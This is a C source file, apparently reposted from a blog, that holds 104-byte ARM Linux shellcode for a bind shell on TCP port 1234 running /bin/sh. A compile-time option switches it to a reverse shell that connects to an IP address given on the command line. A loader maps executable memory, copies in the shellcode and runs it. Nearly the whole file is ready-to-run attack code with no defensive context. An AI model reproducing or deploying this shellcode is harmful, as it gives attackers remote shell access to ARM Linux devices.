1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 |
/** Copyright © 2017 Odzhan. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <sys/mman.h> #include <sys/socket.h> #include <arpa/inet.h> #ifndef CONNECT // bind shell #define CODE_SIZE 104 char CODE[] = { /* 0000 */ "\x54\x40\x9f\xe5" /* ldr r4, [pc, #0x54] */ /* 0004 */ "\x54\x50\x9f\xe5" /* ldr r5, [pc, #0x54] */ /* 0008 */ "\x54\x60\x9f\xe5" /* ldr r6, [pc, #0x54] */ /* 000C */ "\x01\x30\x8f\xe2" /* add r3, pc, #1 */ /* 0010 */ "\x13\xff\x2f\xe1" /* bx r3 */ /* 0014 */ "\x52\x40" /* eors r2, r2 */ /* 0016 */ "\x01\x21" /* movs r1, #1 */ /* 0018 */ "\x0f\x02" /* lsls r7, r1, #8 */ /* 001A */ "\x19\x37" /* adds r7, #0x19 */ /* 001C */ "\x02\x20" /* movs r0, #2 */ /* 001E */ "\x01\xdf" /* svc #1 */ /* 0020 */ "\x80\x46" /* mov r8, r0 */ /* 0022 */ "\x21\x1c" /* adds r1, r4, #0 */ /* 0024 */ "\x06\xb4" /* push {r1, r2} */ /* 0026 */ "\x69\x46" /* mov r1, sp */ /* 0028 */ "\x4a\x70" /* strb r2, [r1, #1] */ /* 002A */ "\x10\x22" /* movs r2, #0x10 */ /* 002C */ "\x01\x37" /* adds r7, #1 */ /* 002E */ "\x01\xdf" /* svc #1 */ /* 0030 */ "\x01\x21" /* movs r1, #1 */ /* 0032 */ "\x40\x46" /* mov r0, r8 */ /* 0034 */ "\x02\x37" /* adds r7, #2 */ /* 0036 */ "\x01\xdf" /* svc #1 */ /* 0038 */ "\x52\x40" /* eors r2, r2 */ /* 003A */ "\x49\x40" /* eors r1, r1 */ /* 003C */ "\x40\x46" /* mov r0, r8 */ /* 003E */ "\x01\x37" /* adds r7, #1 */ /* 0040 */ "\x01\xdf" /* svc #1 */ /* 0042 */ "\x80\x46" /* mov r8, r0 */ /* 0044 */ "\x03\x21" /* movs r1, #3 */ /* 0046 */ "\x3f\x27" /* movs r7, #0x3f */ /* 0048 */ "\x40\x46" /* mov r0, r8 */ /* 004A */ "\x01\x39" /* subs r1, #1 */ /* 004C */ "\x01\xdf" /* svc #1 */ /* 004E */ "\xfa\xd1" /* bne #0x46 */ /* 0050 */ "\x17\x1c" /* adds r7, r2, #0 */ /* 0052 */ "\xe0\xb4" /* push {r5, r6, r7} */ /* 0054 */ "\x68\x46" /* mov r0, sp */ /* 0056 */ "\x0b\x27" /* movs r7, #0xb */ /* 0058 */ "\x01\xdf" /* svc #1 */ /* 005A */ "\xc0\x46" /* mov r8, r8 */ /* 005C */ "\x02\xff\x04\xd2" /* AF_INET, 1234 */ /* 0060 */ "\x2f\x62\x69\x6e" /* /bin */ /* 0064 */ "\x2f\x2f\x73\x68" /* //sh */ }; #else char CODE[] = { /* 0000 */ "\x44\x30\x9f\xe5" /* ldr r3, [pc, #0x44] */ /* 0004 */ "\x44\x40\x9f\xe5" /* ldr r4, [pc, #0x44] */ /* 0008 */ "\x44\x50\x9f\xe5" /* ldr r5, [pc, #0x44] */ /* 000C */ "\x44\x60\x9f\xe5" /* ldr r6, [pc, #0x44] */ /* 0010 */ "\x01\x00\x8f\xe2" /* add r0, pc, #1 */ /* 0014 */ "\x10\xff\x2f\xe1" /* bx r0 */ /* 0018 */ "\x52\x40" /* eors r2, r2 */ /* 001A */ "\x01\x21" /* movs r1, #1 */ /* 001C */ "\x02\x20" /* movs r0, #2 */ /* 001E */ "\x0f\x02" /* lsls r7, r1, #8 */ /* 0020 */ "\x19\x37" /* adds r7, #0x19 */ /* 0022 */ "\x01\xdf" /* svc #1 */ /* 0024 */ "\x80\x46" /* mov r8, r0 */ /* 0026 */ "\x18\xb4" /* push {r3, r4} */ /* 0028 */ "\x69\x46" /* mov r1, sp */ /* 002A */ "\x4a\x70" /* strb r2, [r1, #1] */ /* 002C */ "\x10\x22" /* movs r2, #0x10 */ /* 002E */ "\x02\x37" /* adds r7, #2 */ /* 0030 */ "\x01\xdf" /* svc #1 */ /* 0032 */ "\x03\x21" /* movs r1, #3 */ /* 0034 */ "\x3f\x27" /* movs r7, #0x3f */ /* 0036 */ "\x40\x46" /* mov r0, r8 */ /* 0038 */ "\x01\x39" /* subs r1, #1 */ /* 003A */ "\x01\xdf" /* svc #1 */ /* 003C */ "\xfa\xd1" /* bne #0x34 */ /* 003E */ "\x52\x40" /* eors r2, r2 */ /* 0040 */ "\x17\x1c" /* adds r7, r2, #0 */ /* 0042 */ "\xe0\xb4" /* push {r5, r6, r7} */ /* 0044 */ "\x68\x46" /* mov r0, sp */ /* 0046 */ "\x0b\x27" /* movs r7, #0xb */ /* 0048 */ "\x01\xdf" /* svc #1 */ /* 004A */ "\xc0\x46" /* mov r8, r8 */ /* 004C */ "\x02\xff\x04\xd2" /* AF_INET, 1234 */ /* 0050 */ "\x7f\x00\x00\x01" /* 127.0.0.1 */ /* 0054 */ "\x2f\x62\x69\x6e" /* /bin */ /* 0058 */ "\x2f\x2f\x73\x68" /* //sh */ }; #define IP_ADDR_OFS 0x50 #endif // allocate read/write and executable memory // copy data from code and execute void exec_code(void *code, size_t code_len, char *ip_str) { void *bin; uint8_t *p; in_addr_t ip; #ifdef CONNECT ip=inet_addr(ip_str); #endif bin=mmap (0, code_len, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (bin!=NULL) { p=(uint8_t*)bin; memcpy (p, code, code_len); #ifdef CONNECT // copy ip memcpy ((void*)&p[IP_ADDR_OFS], (void*)&ip, sizeof(ip)); #endif // execute ((void(*)())bin)(); munmap (bin, code_len); } } int main(int argc, char *argv[]) { #ifdef CONNECT if(argc!=2){ printf("usage: test <ip address>\n"); return 0; } #endif exec_code(CODE, CODE_SIZE,argv[1]); return 0; } |
未经允许不得转载:Legend‘s BLog » Linux/ARM – Bind (1234/TCP) Shell (/bin/sh) Shellcode (104 bytes)
发表评论